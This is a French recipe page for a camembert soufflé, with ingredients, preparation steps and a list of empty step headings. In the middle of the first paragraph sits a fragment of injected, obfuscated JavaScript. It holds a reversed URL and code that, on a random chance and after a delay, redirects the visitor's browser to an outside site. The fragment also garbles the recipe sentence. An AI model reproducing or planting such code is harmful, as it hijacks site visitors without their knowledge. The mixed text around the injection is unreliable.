Soufflé au camembert
2021-05-19- Cuisine : Soufflé
- Thématique : Végétarien
- Niveau : Difficile
Coupez le camembert en petits morceaux. Dans une casserole avec le beurre, sur feu moyen, incorporez la farine en une seule fois, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant pendant 2 minutes.
Ingrédients
Coupez le camembert en petits morceaux. Dans une casserole avec le beurre, sur feu moyen, incorporez la farine en une seule fois, tout en remuant pendant 2 minutes. Versez le lait froid par petites quantités toujours en remuant pendant quelques minutes. Hors du feu incorporez le fromage blanc, le gruyère, le camembert et les jaunes d'œufs.
Mélangez longuement jusqu'à obtenir une pâte lisse. Possibilité de remettre quelques secondes la casserole sur feu doux pour la dissolution définitive des fromages. Réservez hors du feu.
Montez les blancs en neige ferme avec une pincée de sel fin. Mélangez en soulevant délicatement la pâte avec une spatule. Versez aux 2/3 dans 4 ramequins beurrés et saupoudrés de chapelure.
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire dans un bain-marie chaud pendant 30 minutes. Vérifiez la cuisson et dégustez rapidement
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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